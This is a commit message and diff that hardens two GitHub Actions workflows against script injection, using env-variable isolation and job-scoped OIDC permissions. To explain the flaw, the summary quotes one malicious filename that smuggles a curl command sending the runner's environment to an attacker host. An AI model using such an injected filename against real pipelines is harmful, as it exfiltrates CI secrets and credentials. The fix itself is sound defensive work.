fix(terraform): prevent script injection via env var isolation (#2679)
## Summary
Audit of `.github/workflows/` identified two files where GitHub Actions
expressions (`${{ }}`) are interpolated directly into bash `run:`
scripts. This is the script injection class documented by [GitHub
Security
Lab](https://securitylab.github.com/research/github-actions-untrusted-input/).
This PR applies the recommended mitigation across all affected steps:
pass expression values through `env:` block variables instead of inline
interpolation. When assigned via `env:`, the value is treated as a plain
string by the shell — metacharacters are never evaluated as commands.
---
## Files Changed
### 1. `.github/workflows/terraform.yml` — **Critical** (3 fixes)
**Fix 1 - Env var isolation for `tj-actions/changed-files` outputs**
The `Extract Orgs` step interpolated action outputs directly into bash:
```yaml
# BEFORE (vulnerable):
run: |
CHANGED="${{ steps.changed-files.outputs.all_changed_files }}"
DELETED="${{ steps.changed-files.outputs.deleted_files }}"
tj-actions/changed-files outputs filenames from the PR branch — fully attacker-controlled. A filename like: buildkite/terraform/bazel/$(curl https://attacker.com/exfil?d=$(env|base64)) would be evaluated as a shell command by bash.
# AFTER (safe):
env:
ALL_CHANGED_FILES: ${{ steps.changed-files.outputs.all_changed_files }}
ALL_DELETED_FILES: ${{ steps.changed-files.outputs.deleted_files }}
run: |
CHANGED="$ALL_CHANGED_FILES"
DELETED="$ALL_DELETED_FILES"
Fix 2 - Scope id-token: write to terraform job only
id-token: write was set at workflow level, making OIDC tokens available to all jobs including detect-changes which processes untrusted filenames. Moved to job-level permissions on terraform only.
# BEFORE: id-token: write at workflow level → detect-changes also gets OIDC
permissions:
contents: read
id-token: write
pull-requests: write
# AFTER: workflow-level has minimum permissions
permissions:
contents: read
pull-requests: write
terraform:
permissions:
contents: read
id-token: write # ← only this job needs GCP WIF
2. .github/workflows/release-rules.yml — Low (2 fixes)
Two inline ${{ }} expressions in run: blocks replaced with env vars:
- ${{ env.RULES_VERSION }} in the version echo step
- ${{ needs.create-release.outputs.rules_version }} in the staging dir name
References
- https://securitylab.github.com/research/github-actions-untrusted-input/
- go/github-security
Co-authored-by: Salma Samy <16399431+SalmaSamy@users.noreply.github.com>diff --git a/.github/workflows/release-rules.yml b/.github/workflows/release-rules.yml
index 17cab41..49e278a 100644
--- a/.github/workflows/release-rules.yml
+++ b/.github/workflows/release-rules.yml
@@ -16,7 +16,7 @@
if: env.RULES_VERSION == ''
run: |
echo "RULES_VERSION=${GITHUB_REF#refs/tags/}" >> $GITHUB_ENV
- echo "version is: ${{ env.RULES_VERSION }}"
+ echo "version is: ${GITHUB_REF#refs/tags/}"
- name: Create GitHub release
id: release
uses: actions/create-release@v1
@@ -37,8 +37,12 @@
fetch-depth: 1
- name: Build release asset
shell: bash
+ env:
+ # go/github-security: Pass job outputs via env vars, not inline ${{ }},
+ # to prevent shell metacharacter evaluation (script injection).
+ RULES_VER: ${{ needs.create-release.outputs.rules_version }}
run: |
- staging="bazel_ci_${{ needs.create-release.outputs.rules_version }}"
+ staging="bazel_ci_${RULES_VER}"
cp -r rules "$staging"
tar czf "$staging.tar.gz" "$staging"
echo "ASSET=$staging.tar.gz" >> $GITHUB_ENV
diff --git a/.github/workflows/terraform.yml b/.github/workflows/terraform.yml
index 18d9676..febe9a0 100644
--- a/.github/workflows/terraform.yml
+++ b/.github/workflows/terraform.yml
@@ -10,7 +10,6 @@
# go/github-security: Explicitly set minimum permissions
permissions:
contents: read # Required to check out the code
- id-token: write # Required for Workload Identity Federation (WIF)
pull-requests: write # Required to post plan output as a comment
jobs:
@@ -34,9 +33,14 @@
- name: Extract Orgs
id: process-orgs
shell: bash
+ env:
+ # go/github-security: Pass action outputs via env vars, not inline ${{ }},
+ # to prevent shell metacharacter evaluation (script injection).
+ ALL_CHANGED_FILES: ${{ steps.changed-files.outputs.all_changed_files }}
+ ALL_DELETED_FILES: ${{ steps.changed-files.outputs.deleted_files }}
run: |
- CHANGED="${{ steps.changed-files.outputs.all_changed_files }}"
- DELETED="${{ steps.changed-files.outputs.deleted_files }}"
+ CHANGED="$ALL_CHANGED_FILES"
+ DELETED="$ALL_DELETED_FILES"
if [ -z "$CHANGED" ] && [ -z "$DELETED" ]; then
ORGS="[]"
@@ -54,9 +58,14 @@
# Job 2: Terraform Execution
terraform:
needs: detect-changes
- # Run only if we have changed orgs AND (it's a push to master OR PR from trusted users)
if: needs.detect-changes.outputs.orgs != '[]'
runs-on: ubuntu-latest
+ # go/github-security: Scope id-token to this job only. The detect-changes job
+ # processes untrusted PR filenames; confining OIDC token access here prevents
+ # credential exfiltration via script injection in that job.
+ permissions:
+ contents: read
+ id-token: write
# Lock per organization. Cancels old runs on PRs (saves time), but queues pushes (safe apply).
concurrency: